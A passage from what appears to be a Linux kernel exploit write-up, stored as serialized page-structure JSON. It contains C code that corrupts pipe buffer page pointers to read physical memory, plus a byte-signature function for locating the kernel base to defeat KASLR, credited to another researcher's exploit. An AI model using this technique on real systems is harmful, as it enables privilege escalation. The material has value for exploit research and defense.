i",{"type":21,"tag":153,"props":60828,"children":60829},{"style":198},[60830],{"type":26,"value":53560},{"type":21,"tag":153,"props":60832,"children":60833},{"style":160},[60834],{"type":26,"value":5909},{"type":21,"tag":153,"props":60836,"children":60837},{"class":155,"line":542},[60838],{"type":21,"tag":153,"props":60839,"children":60840},{"style":160},[60841],{"type":26,"value":2562},{"type":21,"tag":153,"props":60843,"children":60844},{"class":155,"line":762},[60845,60850,60854,60859,60863,60868,60872,60877,60881],{"type":21,"tag":153,"props":60846,"children":60847},{"style":160},[60848],{"type":26,"value":60849},"        kernel_base ",{"type":21,"tag":153,"props":60851,"children":60852},{"style":198},[60853],{"type":26,"value":2367},{"type":21,"tag":153,"props":60855,"children":60856},{"style":300},[60857],{"type":26,"value":60858}," 0x40",{"type":21,"tag":153,"props":60860,"children":60861},{"style":198},[60862],{"type":26,"value":5080},{"type":21,"tag":153,"props":60864,"children":60865},{"style":160},[60866],{"type":26,"value":60867}," ((PHYSICAL_ALIGN ",{"type":21,"tag":153,"props":60869,"children":60870},{"style":198},[60871],{"type":26,"value":313},{"type":21,"tag":153,"props":60873,"children":60874},{"style":160},[60875],{"type":26,"value":60876}," i) ",{"type":21,"tag":153,"props":60878,"children":60879},{"style":198},[60880],{"type":26,"value":15478},{"type":21,"tag":153,"props":60882,"children":60883},{"style":160},[60884],{"type":26,"value":60885}," PAGE_SHIFT);\n",{"type":21,"tag":153,"props":60887,"children":60888},{"class":155,"line":776},[60889,60894,60898,60902,60906,60911,60915],{"type":21,"tag":153,"props":60890,"children":60891},{"style":192},[60892],{"type":26,"value":60893},"        pipebuf",{"type":21,"tag":153,"props":60895,"children":60896},{"style":160},[60897],{"type":26,"value":2953},{"type":21,"tag":153,"props":60899,"children":60900},{"style":192},[60901],{"type":26,"value":60616},{"type":21,"tag":153,"props":60903,"children":60904},{"style":198},[60905],{"type":26,"value":255},{"type":21,"tag":153,"props":60907,"children":60908},{"style":160},[60909],{"type":26,"value":60910}," vmemmap_base ",{"type":21,"tag":153,"props":60912,"children":60913},{"style":198},[60914],{"type":26,"value":4099},{"type":21,"tag":153,"props":60916,"children":60917},{"style":160},[60918],{"type":26,"value":60919}," kernel_base;\n",{"type":21,"tag":153,"props":60921,"children":60922},{"class":155,"line":795},[60923,60927,60931,60935,60939,60943],{"type":21,"tag":153,"props":60924,"children":60925},{"style":192},[60926],{"type":26,"value":60893},{"type":21,"tag":153,"props":60928,"children":60929},{"style":160},[60930],{"type":26,"value":2953},{"type":21,"tag":153,"props":60932,"children":60933},{"style":192},[60934],{"type":26,"value":16610},{"type":21,"tag":153,"props":60936,"children":60937},{"style":198},[60938],{"type":26,"value":255},{"type":21,"tag":153,"props":60940,"children":60941},{"style":300},[60942],{"type":26,"value":5799},{"type":21,"tag":153,"props":60944,"children":60945},{"style":160},[60946],{"type":26,"value":1759},{"type":21,"tag":153,"props":60948,"children":60949},{"class":155,"line":808},[60950,60954,60958,60962,60966,60971,60975,60979],{"type":21,"tag":153,"props":60951,"children":60952},{"style":192},[60953],{"type":26,"value":60893},{"type":21,"tag":153,"props":60955,"children":60956},{"style":160},[60957],{"type":26,"value":2953},{"type":21,"tag":153,"props":60959,"children":60960},{"style":192},[60961],{"type":26,"value":2456},{"type":21,"tag":153,"props":60963,"children":60964},{"style":198},[60965],{"type":26,"value":255},{"type":21,"tag":153,"props":60967,"children":60968},{"style":160},[60969],{"type":26,"value":60970}," PAGE_SIZE ",{"type":21,"tag":153,"props":60972,"children":60973},{"style":198},[60974],{"type":26,"value":4099},{"type":21,"tag":153,"props":60976,"children":60977},{"style":300},[60978],{"type":26,"value":7253},{"type":21,"tag":153,"props":60980,"children":60981},{"style":160},[60982],{"type":26,"value":1759},{"type":21,"tag":153,"props":60984,"children":60985},{"class":155,"line":820},[60986],{"type":21,"tag":153,"props":60987,"children":60988},{"style":160},[60989],{"type":26,"value":13038},{"type":21,"tag":153,"props":60991,"children":60992},{"class":155,"line":842},[60993,60998,61002,61006,61010,61014,61019,61023,61028,61032],{"type":21,"tag":153,"props":60994,"children":60995},{"style":160},[60996],{"type":26,"value":60997},"        for (",{"type":21,"tag":153,"props":60999,"children":61000},{"style":170},[61001],{"type":26,"value":21743},{"type":21,"tag":153,"props":61003,"children":61004},{"style":192},[61005],{"type":26,"value":11349},{"type":21,"tag":153,"props":61007,"children":61008},{"style":198},[61009],{"type":26,"value":255},{"type":21,"tag":153,"props":61011,"children":61012},{"style":300},[61013],{"type":26,"value":5799},{"type":21,"tag":153,"props":61015,"children":61016},{"style":160},[61017],{"type":26,"value":61018},"; j ",{"type":21,"tag":153,"props":61020,"children":61021},{"style":198},[61022],{"type":26,"value":8537},{"type":21,"tag":153,"props":61024,"children":61025},{"style":160},[61026],{"type":26,"value":61027}," PIPE_SPRAY; j",{"type":21,"tag":153,"props":61029,"children":61030},{"style":198},[61031],{"type":26,"value":53560},{"type":21,"tag":153,"props":61033,"children":61034},{"style":160},[61035],{"type":26,"value":5909},{"type":21,"tag":153,"props":61037,"children":61038},{"class":155,"line":3204},[61039],{"type":21,"tag":153,"props":61040,"children":61041},{"style":160},[61042],{"type":26,"value":34353},{"type":21,"tag":153,"props":61044,"children":61045},{"class":155,"line":3230},[61046,61051,61055,61059,61064,61068],{"type":21,"tag":153,"props":61047,"children":61048},{"style":181},[61049],{"type":26,"value":61050},"            memset",{"type":21,"tag":153,"props":61052,"children":61053},{"style":160},[61054],{"type":26,"value":189},{"type":21,"tag":153,"props":61056,"children":61057},{"style":198},[61058],{"type":26,"value":1974},{"type":21,"tag":153,"props":61060,"children":61061},{"style":160},[61062],{"type":26,"value":61063},"data, ",{"type":21,"tag":153,"props":61065,"children":61066},{"style":300},[61067],{"type":26,"value":2996},{"type":21,"tag":153,"props":61069,"children":61070},{"style":160},[61071],{"type":26,"value":61072},", PAGE_SIZE);\n",{"type":21,"tag":153,"props":61074,"children":61075},{"class":155,"line":3239},[61076,61081],{"type":21,"tag":153,"props":61077,"children":61078},{"style":170},[61079],{"type":26,"value":61080},"            int",{"type":21,"tag":153,"props":61082,"children":61083},{"style":160},[61084],{"type":26,"value":61085}," count;\n",{"type":21,"tag":153,"props":61087,"children":61088},{"class":155,"line":3253},[61089,61094,61099,61103,61108,61112,61117,61122,61126,61130,61134,61139,61143,61147],{"type":21,"tag":153,"props":61090,"children":61091},{"style":1751},[61092],{"type":26,"value":61093},"            if",{"type":21,"tag":153,"props":61095,"children":61096},{"style":160},[61097],{"type":26,"value":61098}," (count ",{"type":21,"tag":153,"props":61100,"children":61101},{"style":198},[61102],{"type":26,"value":2367},{"type":21,"tag":153,"props":61104,"children":61105},{"style":181},[61106],{"type":26,"value":61107}," read",{"type":21,"tag":153,"props":61109,"children":61110},{"style":160},[61111],{"type":26,"value":189},{"type":21,"tag":153,"props":61113,"children":61114},{"style":192},[61115],{"type":26,"value":61116},"pfd",{"type":21,"tag":153,"props":61118,"children":61119},{"style":160},[61120],{"type":26,"value":61121},"[j][",{"type":21,"tag":153,"props":61123,"children":61124},{"style":300},[61125],{"type":26,"value":2996},{"type":21,"tag":153,"props":61127,"children":61128},{"style":160},[61129],{"type":26,"value":308},{"type":21,"tag":153,"props":61131,"children":61132},{"style":198},[61133],{"type":26,"value":1974},{"type":21,"tag":153,"props":61135,"children":61136},{"style":160},[61137],{"type":26,"value":61138},"data, PAGE_SIZE) ",{"type":21,"tag":153,"props":61140,"children":61141},{"style":198},[61142],{"type":26,"value":8537},{"type":21,"tag":153,"props":61144,"children":61145},{"style":300},[61146],{"type":26,"value":5799},{"type":21,"tag":153,"props":61148,"children":61149},{"style":160},[61150],{"type":26,"value":5909},{"type":21,"tag":153,"props":61152,"children":61153},{"class":155,"line":3301},[61154],{"type":21,"tag":153,"props":61155,"children":61156},{"style":160},[61157],{"type":26,"value":34389},{"type":21,"tag":153,"props":61159,"children":61160},{"class":155,"line":3346},[61161,61166],{"type":21,"tag":153,"props":61162,"children":61163},{"style":1751},[61164],{"type":26,"value":61165},"                continue",{"type":21,"tag":153,"props":61167,"children":61168},{"style":160},[61169],{"type":26,"value":1759},{"type":21,"tag":153,"props":61171,"children":61172},{"class":155,"line":3355},[61173],{"type":21,"tag":153,"props":61174,"children":61175},{"style":160},[61176],{"type":26,"value":61177},"            }\n",{"type":21,"tag":153,"props":61179,"children":61180},{"class":155,"line":3364},[61181],{"type":21,"tag":153,"props":61182,"children":61183},{"style":160},[61184],{"type":26,"value":13038},{"type":21,"tag":153,"props":61186,"children":61187},{"class":155,"line":3376},[61188],{"type":21,"tag":153,"props":61189,"children":61190},{"emptyLinePlaceholder":16},[61191],{"type":26,"value":759},{"type":21,"tag":153,"props":61193,"children":61194},{"class":155,"line":3393},[61195,61200,61205,61209,61213],{"type":21,"tag":153,"props":61196,"children":61197},{"style":160},[61198],{"type":26,"value":61199},"            if (",{"type":21,"tag":153,"props":61201,"children":61202},{"style":214},[61203],{"type":26,"value":61204},"is_kernel_base",{"type":21,"tag":153,"props":61206,"children":61207},{"style":160},[61208],{"type":26,"value":189},{"type":21,"tag":153,"props":61210,"children":61211},{"style":214},[61212],{"type":26,"value":195},{"type":21,"tag":153,"props":61214,"children":61215},{"style":160},[61216],{"type":26,"value":61217},")) // [1] identify kernel base\n",{"type":21,"tag":153,"props":61219,"children":61220},{"class":155,"line":3405},[61221],{"type":21,"tag":153,"props":61222,"children":61223},{"style":160},[61224],{"type":26,"value":34389},{"type":21,"tag":153,"props":61226,"children":61227},{"class":155,"line":3427},[61228,61233,61237,61241],{"type":21,"tag":153,"props":61229,"children":61230},{"style":160},[61231],{"type":26,"value":61232},"                found ",{"type":21,"tag":153,"props":61234,"children":61235},{"style":198},[61236],{"type":26,"value":2367},{"type":21,"tag":153,"props":61238,"children":61239},{"style":170},[61240],{"type":26,"value":15187},{"type":21,"tag":153,"props":61242,"children":61243},{"style":160},[61244],{"type":26,"value":1759},{"type":21,"tag":153,"props":61246,"children":61247},{"class":155,"line":3448},[61248,61253],{"type":21,"tag":153,"props":61249,"children":61250},{"style":1751},[61251],{"type":26,"value":61252},"                break",{"type":21,"tag":153,"props":61254,"children":61255},{"style":160},[61256],{"type":26,"value":1759},{"type":21,"tag":153,"props":61258,"children":61259},{"class":155,"line":3456},[61260],{"type":21,"tag":153,"props":61261,"children":61262},{"style":160},[61263],{"type":26,"value":61177},{"type":21,"tag":153,"props":61265,"children":61266},{"class":155,"line":3493},[61267],{"type":21,"tag":153,"props":61268,"children":61269},{"style":160},[61270],{"type":26,"value":2765},{"type":21,"tag":153,"props":61272,"children":61273},{"class":155,"line":3509},[61274],{"type":21,"tag":153,"props":61275,"children":61276},{"emptyLinePlaceholder":16},[61277],{"type":26,"value":759},{"type":21,"tag":153,"props":61279,"children":61280},{"class":155,"line":3517},[61281],{"type":21,"tag":153,"props":61282,"children":61283},{"style":160},[61284],{"type":26,"value":13038},{"type":21,"tag":22,"props":61286,"children":61287},{},[61288,61290,61294,61296,61302,61304,61308],{"type":26,"value":61289},"Notice that at ",{"type":21,"tag":153,"props":61291,"children":61292},{},[61293],{"type":26,"value":3033},{"type":26,"value":61295}," we call the ",{"type":21,"tag":78,"props":61297,"children":61299},{"className":61298},[],[61300],{"type":26,"value":61301},"is_kernel_base()",{"type":26,"value":61303}," function. This is a function based on lau's exploit ",{"type":21,"tag":153,"props":61305,"children":61306},{},[61307],{"type":26,"value":20805},{"type":26,"value":61309}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":21,"tag":143,"props":61311,"children":61313},{"className":31805,"code":61312,"language":31807,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[61314],{"type":21,"tag":78,"props":61315,"children":61316},{"__ignoreMap":7},[61317,61324,61354,61361,61369,61376,61384,61455,61517,61532,61539,61547,61615,61677,61738,61799,61861,61923,61984,62045,62106,62167,62228,62243,62250,62265,62272],{"type":21,"tag":153,"props":61318,"children":61319},{"class":155,"line":156},[61320],{"type":21,"tag":153,"props":61321,"children":61322},{"style":160},[61323],{"type":26,"value":13038},{"type":21,"tag":153,"props":61325,"children":61326},{"class":155,"line":166},[61327,61332,61337,61342,61346,61350],{"type":21,"tag":153,"props":61328,"children":61329},{"style":160},[61330],{"type":26,"value":61331},"static bool is_kernel_base(",{"type":21,"tag":153,"props":61333,"children":61334},{"style":170},[61335],{"type":26,"value":61336},"unsigned",{"type":21,"tag":153,"props":61338,"children":61339},{"style":170},[61340],{"type":26,"value":61341}," char",{"type":21,"tag":153,"props":61343,"children":61344},{"style":170},[61345],{"type":26,"value":5080},{"type":21,"tag":153,"props":61347,"children":61348},{"style":192},[61349],{"type":26,"value":33381},{"type":21,"tag":153,"props":61351,"children":61352},{"style":160},[61353],{"type":26,"value":5909},{"type":21,"tag":153,"props":61355,"children":61356},{"class":155,"line":225},[61357],{"type":21,"tag":153,"props":61358,"children":61359},{"style":160},[61360],{"type":26,"value":13601},{"type":21,"tag":153,"props":61362,"children":61363},{"class":155,"line":239},[61364],{"type":21,"tag":153,"props":61365,"children":61366},{"style":3050},[61367],{"type":26,"value":61368},"    // thanks lau :)\n",{"type":21,"tag":153,"props":61370,"children":61371},{"class":155,"line":382},[61372],{"type":21,"tag":153,"props":61373,"children":61374},{"emptyLinePlaceholder":16},[61375],{"type":26,"value":759},{"type":21,"tag":153,"props":61377,"children":61378},{"class":155,"line":501},[61379],{"type":21,"tag":153,"props":61380,"children":61381},{"style":3050},[61382],{"type":26,"value":61383},"    // get-sig kernel_runtime_1\n",{"type":21,"tag":153,"props":61385,"children":61386},{"class":155,"line":533},[61387,61391,61395,61400,61405,61409,61414,61418,61422,61427,61431,61435,61439,61443,61447,61451],{"type":21,"tag":153,"props":61388,"children":61389},{"style":1751},[61390],{"type":26,"value":2434},{"type":21,"tag":153,"props":61392,"children":61393},{"style":160},[61394],{"type":26,"value":5820},{"type":21,"tag":153,"props":61396,"children":61397},{"style":181},[61398],{"type":26,"value":61399},"memcmp",{"type":21,"tag":153,"props":61401,"children":61402},{"style":160},[61403],{"type":26,"value":61404},"(addr ",{"type":21,"tag":153,"props":61406,"children":61407},{"style":198},[61408],{"type":26,"value":4099},{"type":21,"tag":153,"props":61410,"children":61411},{"style":300},[61412],{"type":26,"value":61413}," 0x0",{"type":21,"tag":153,"props":61415,"children":61416},{"style":160},[61417],{"type":26,"value":1670},{"type":21,"tag":153,"props":61419,"children":61420},{"style":671},[61421],{"type":26,"value":22756},{"type":21,"tag":153,"props":61423,"children":61424},{"style":50663},[61425],{"type":26,"value":61426},"\\x48\\x8d\\x25\\x51\\x3f",{"type":21,"tag":153,"props":61428,"children":61429},{"style":671},[61430],{"type":26,"value":22756},{"type":21,"tag":153,"props":61432,"children":61433},{"style":160},[61434],{"type":26,"value":1670},{"type":21,"tag":153,"props":61436,"children":61437},{"style":300},[61438],{"type":26,"value":20805},{"type":21,"tag":153,"props":61440,"children":61441},{"style":160},[61442],{"type":26,"value":2362},{"type":21,"tag":153,"props":61444,"children":61445},{"style":198},[61446],{"type":26,"value":1694},{"type":21,"tag":153,"props":61448,"children":61449},{"style":300},[61450],{"type":26,"value":5799},{"type":21,"tag":153,"props":61452,"children":61453},{"style":198},[61454],{"type":26,"value":54975},{"type":21,"tag":153,"props":61456,"children":61457},{"class":155,"line":542},[61458,61463,61467,61471,61476,61480,61484,61489,61493,61497,61501,61505,61509,61513],{"type":21,"tag":153,"props":61459,"children":61460},{"style":181},[61461],{"type":26,"value":61462},"        memcmp",{"type":21,"tag":153,"props":61464,"children":61465},{"style":160},[61466],{"type":26,"value":61404},{"type":21,"tag":153,"props":61468,"children":61469},{"style":198},[61470],{"type":26,"value":4099},{"type":21,"tag":153,"props":61472,"children":61473},{"style":300},[61474],{"type":26,"value":61475}," 0x7",{"type":21,"tag":153,"props":61477,"children":61478},{"style":160},[61479],{"type":26,"value":1670},{"type":21,"tag":153,"props":61481,"children":61482},{"style":671},[61483],{"type":26,"value":22756},{"type":21,"tag":153,"props":61485,"children":61486},{"style":50663},[61487],{"type":26,"value":61488},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":21,"tag":153,"props":61490,"children":61491},{"style":671},[61492],{"type":26,"value":22756},{"type":21,"tag":153,"props":61494,"children":61495},{"style":160},[61496],{"type":26,"value":1670},{"type":21,"tag":153,"props":61498,"children":61499},{"style":300},[61500],{"type":26,"value":56962},{"type":21,"tag":153,"props":61502,"children":61503},{"style":160},[61504],{"type":26,"value":2362},{"type":21,"tag":153,"props":61506,"children":61507},{"style":198},[61508],{"type":26,"value":1694},{"type":21,"tag":153,"props":61510,"children":61511},{"style":300},[61512],{"type":26,"value":5799},{"type":21,"tag":153,"props":61514,"children":61515},{"style":160},[61516],{"type":26,"value":5909},{"type":21,"tag":153,"props":61518,"children":61519},{"class":155,"line":762},[61520,61524,61528],{"type":21,"tag":153,"props":61521,"children":61522},{"style":1751},[61523],{"type":26,"value":18441},{"type":21,"tag":153,"props":61525,"children":61526},{"style":170},[61527],{"type":26,"value":15187},{"type":21,"tag":153,"props":61529,"children":61530},{"style":160},[61531],{"type":26,"value":1759},{"type":21,"tag":153,"props":61533,"children":61534},{"class":155,"line":776},[61535],{"type":21,"tag":153,"props":61536,"children":61537},{"emptyLinePlaceholder":16},[61538],{"type":26,"value":759},{"type":21,"tag":153,"props":61540,"children":61541},{"class":155,"line":795},[61542],{"type":21,"tag":153,"props":61543,"children":61544},{"style":3050},[61545],{"type":26,"value":61546},"    // get-sig kernel_runtime_2\n",{"type":21,"tag":153,"props":61548,"children":61549},{"class":155,"line":808},[61550,61554,61558,61562,61566,61570,61574,61578,61582,61587,61591,61595,61599,61603,61607,61611],{"type":21,"tag":153,"props":61551,"children":61552},{"style":1751},[61553],{"type":26,"value":2434},{"type":21,"tag":153,"props":61555,"children":61556},{"style":160},[61557],{"type":26,"value":5820},{"type":21,"tag":153,"props":61559,"children":61560},{"style":181},[61561],{"type":26,"value":61399},{"type":21,"tag":153,"props":61563,"children":61564},{"style":160},[61565],{"type":26,"value":61404},{"type":21,"tag":153,"props":61567,"children":61568},{"style":198},[61569],{"type":26,"value":4099},{"type":21,"tag":153,"props":61571,"children":61572},{"style":300},[61573],{"type":26,"value":61413},{"type":21,"tag":153,"props":61575,"children":61576},{"style":160},[61577],{"type":26,"value":1670},{"type":21,"tag":153,"props":61579,"children":61580},{"style":671},[61581],{"type":26,"value":22756},{"type":21,"tag":153,"props":61583,"children":61584},{"style":50663},[61585],{"type":26,"value":61586},"\\xfc\\x0f\\x01\\x15",{"type":21,"tag":153,"props":61588,"children":61589},{"style":671},[61590],{"type":26,"value":22756},{"type":21,"tag":153,"props":61592,"children":61593},{"style":160},[61594],{"type":26,"value":1670},{"type":21,"tag":153,"props":61596,"children":61597},{"style":300},[61598],{"type":26,"value":4104},{"type":21,"tag":153,"props":61600,"children":61601},{"style":160},[61602],{"type":26,"value":2362},{"type":21,"tag":153,"props":61604,"children":61605},{"style":198},[61606],{"type":26,"value":1694},{"type":21,"tag":153,"props":61608,"children":61609},{"style":300},[61610],{"type":26,"value":5799},{"type":21,"tag":153,"props":61612,"children":61613},{"style":198},[61614],{"type":26,"value":54975},{"type":21,"tag":153,"props":61616,"children":61617},{"class":155,"line":820},[61618,61622,61626,61630,61635,61639,61643,61648,61652,61656,61661,61665,61669,61673],{"type":21,"tag":153,"props":61619,"children":61620},{"style":181},[61621],{"type":26,"value":61462},{"type":21,"tag":153,"props":61623,"children":61624},{"style":160},[61625],{"type":26,"value":61404},{"type":21,"tag":153,"props":61627,"children":61628},{"style":198},[61629],{"type":26,"value":4099},{"type":21,"tag":153,"props":61631,"children":61632},{"style":300},[61633],{"type":26,"value":61634}," 0x8",{"type":21,"tag":153,"props":61636,"children":61637},{"style":160},[61638],{"type":26,"value":1670},{"type":21,"tag":153,"props":61640,"children":61641},{"style":671},[61642],{"type":26,"value":22756},{"type":21,"tag":153,"props":61644,"children":61645},{"style":50663},[61646],{"type":26,"value":61647},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":21,"tag":153,"props":61649,"children":61650},{"style":671},[61651],{"type":26,"value":22756},{"type":21,"tag":153,"props":61653,"children":61654},{"style":160},[61655],{"type":26,"value":1670},{"type":21,"tag":153,"props":61657,"children":61658},{"style":300},[61659],{"type":26,"value":61660},"12",{"type":21,"tag":153,"props":61662,"children":61663},{"style":160},[61664],{"type":26,"value":2362},{"type":21,"tag":153,"props":61666,"children":61667},{"style":198},[61668],{"type":26,"value":1694},{"type":21,"tag":153,"props":61670,"children":61671},{"style":300},[61672],{"type":26,"value":5799},{"type":21,"tag":153,"props":61674,"children":61675},{"style":198},[61676],{"type":26,"value":54975},{"type":21,"tag":153,"props":61678,"children":61679},{"class":155,"line":842},[61680,61684,61688,61692,61697,61701,61705,61710,61714,61718,61722,61726,61730,61734],{"type":21,"tag":153,"props":61681,"children":61682},{"style":181},[61683],{"type":26,"value":61462},{"type":21,"tag":153,"props":61685,"children":61686},{"style":160},[61687],{"type":26,"value":61404},{"type":21,"tag":153,"props":61689,"children":61690},{"style":198},[61691],{"type":26,"value":4099},{"type":21,"tag":153,"props":61693,"children":61694},{"style":300},[61695],{"type":26,"value":61696}," 0x18",{"type":21,"tag":153,"props":61698,"children":61699},{"style":160},[61700],{"type":26,"value":1670},{"type":21,"tag":153,"props":61702,"children":61703},{"style":671},[61704],{"type":26,"value":22756},{"type":21,"tag":153,"props":61706,"children":61707},{"style":50663},[61708],{"type":26,"value":61709},"\\x89\\xde\\x8b\\x0d",{"type":21,"tag":153,"props":61711,"children":61712},{"style":671},[61713],{"type":26,"value":22756},{"type":21,"tag":153,"props":61715,"children":61716},{"style":160},[61717],{"type":26,"value":1670},{"type":21,"tag":153,"props":61719,"children":61720},{"style":300},[61721],{"type":26,"value":4104},{"type":21,"tag":153,"props":61723,"children":61724},{"style":160},[61725],{"type":26,"value":2362},{"type":21,"tag":153,"props":61727,"children":61728},{"style":198},[61729],{"type":26,"value":1694},{"type":21,"tag":153,"props":61731,"children":61732},{"style":300},[61733],{"type":26,"value":5799},{"type":21,"tag":153,"props":61735,"children":61736},{"style":198},[61737],{"type":26,"value":54975},{"type":21,"tag":153,"props":61739,"children":61740},{"class":155,"line":3204},[61741,61745,61749,61753,61758,61762,61766,61771,61775,61779,61783,61787,61791,61795],{"type":21,"tag":153,"props":61742,"children":61743},{"style":181},[61744],{"type":26,"value":61462},{"type":21,"tag":153,"props":61746,"children":61747},{"style":160},[61748],{"type":26,"value":61404},{"type":21,"tag":153,"props":61750,"children":61751},{"style":198},[61752],{"type":26,"value":4099},{"type":21,"tag":153,"props":61754,"children":61755},{"style":300},[61756],{"type":26,"value":61757}," 0x20",{"type":21,"tag":153,"props":61759,"children":61760},{"style":160},[61761],{"type":26,"value":1670},{"type":21,"tag":153,"props":61763,"children":61764},{"style":671},[61765],{"type":26,"value":22756},{"type":21,"tag":153,"props":61767,"children":61768},{"style":50663},[61769],{"type":26,"value":61770},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":21,"tag":153,"props":61772,"children":61773},{"style":671},[61774],{"type":26,"value":22756},{"type":21,"tag":153,"props":61776,"children":61777},{"style":160},[61778],{"type":26,"value":1670},{"type":21,"tag":153,"props":61780,"children":61781},{"style":300},[61782],{"type":26,"value":21117},{"type":21,"tag":153,"props":61784,"children":61785},{"style":160},[61786],{"type":26,"value":2362},{"type":21,"tag":153,"props":61788,"children":61789},{"style":198},[61790],{"type":26,"value":1694},{"type":21,"tag":153,"props":61792,"children":61793},{"style":300},[61794],{"type":26,"value":5799},{"type":21,"tag":153,"props":61796,"children":61797},{"style":198},[61798],{"type":26,"value":54975},{"type":21,"tag":153,"props":61800,"children":61801},{"class":155,"line":3230},[61802,61806,61810,61814,61819,61823,61827,61832,61836,61840,61845,61849,61853,61857],{"type":21,"tag":153,"props":61803,"children":61804},{"style":181},[61805],{"type":26,"value":61462},{"type":21,"tag":153,"props":61807,"children":61808},{"style":160},[61809],{"type":26,"value":61404},{"type":21,"tag":153,"props":61811,"children":61812},{"style":198},[61813],{"type":26,"value":4099},{"type":21,"tag":153,"props":61815,"children":61816},{"style":300},[61817],{"type":26,"value":61818}," 0x2a",{"type":21,"tag":153,"props":61820,"children":61821},{"style":160},[61822],{"type":26,"value":1670},{"type":21,"tag":153,"props":61824,"children":61825},{"style":671},[61826],{"type":26,"value":22756},{"type":21,"tag":153,"props":61828,"children":61829},{"style":50663},[61830],{"type":26,"value":61831},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":21,"tag":153,"props":61833,"children":61834},{"style":671},[61835],{"type":26,"value":22756},{"type":21,"tag":153,"props":61837,"children":61838},{"style":160},[61839],{"type":26,"value":1670},{"type":21,"tag":153,"props":61841,"children":61842},{"style":300},[61843],{"type":26,"value":61844},"24",{"type":21,"tag":153,"props":61846,"children":61847},{"style":160},[61848],{"type":26,"value":2362},{"type":21,"tag":153,"props":61850,"children":61851},{"style":198},[61852],{"type":26,"value":1694},{"type":21,"tag":153,"props":61854,"children":61855},{"style":300},[61856],{"type":26,"value":5799},{"type":21,"tag":153,"props":61858,"children":61859},{"style":198},[61860],{"type":26,"value":54975},{"type":21,"tag":153,"props":61862,"children":61863},{"class":155,"line":3239},[61864,61868,61872,61876,61881,61885,61889,61894,61898,61902,61907,61911,61915,61919],{"type":21,"tag":153,"props":61865,"children":61866},{"style":181},[61867],{"type":26,"value":61462},{"type":21,"tag":153,"props":61869,"children":61870},{"style":160},[61871],{"type":26,"value":61404},{"type":21,"tag":153,"props":61873,"children":61874},{"style":198},[61875],{"type":26,"value":4099},{"type":21,"tag":153,"props":61877,"children":61878},{"style":300},[61879],{"type":26,"value":61880}," 0x45",{"type":21,"tag":153,"props":61882,"children":61883},{"style":160},[61884],{"type":26,"value":1670},{"type":21,"tag":153,"props":61886,"children":61887},{"style":671},[61888],{"type":26,"value":22756},{"type":21,"tag":153,"props":61890,"children":61891},{"style":50663},[61892],{"type":26,"value":61893},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":21,"tag":153,"props":61895,"children":61896},{"style":671},[61897],{"type":26,"value":22756},{"type":21,"tag":153,"props":61899,"children":61900},{"style":160},[61901],{"type":26,"value":1670},{"type":21,"tag":153,"props":61903,"children":61904},{"style":300},[61905],{"type":26,"value":61906},"15",{"type":21,"tag":153,"props":61908,"children":61909},{"style":160},[61910],{"type":26,"value":2362},{"type":21,"tag":153,"props":61912,"children":61913},{"style":198},[61914],{"type":26,"value":1694},{"type":21,"tag":153,"props":61916,"children":61917},{"style":300},[61918],{"type":26,"value":5799},{"type":21,"tag":153,"props":61920,"children":61921},{"style":198},[61922],{"type":26,"value":54975},{"type":21,"tag":153,"props":61924,"children":61925},{"class":155,"line":3253},[61926,61930,61934,61938,61943,61947,61951,61956,61960,61964,61968,61972,61976,61980],{"type":21,"tag":153,"props":61927,"children":61928},{"style":181},[61929],{"type":26,"value":61462},{"type":21,"tag":153,"props":61931,"children":61932},{"style":160},[61933],{"type":26,"value":61404},{"type":21,"tag":153,"props":61935,"children":61936},{"style":198},[61937],{"type":26,"value":4099},{"type":21,"tag":153,"props":61939,"children":61940},{"style":300},[61941],{"type":26,"value":61942}," 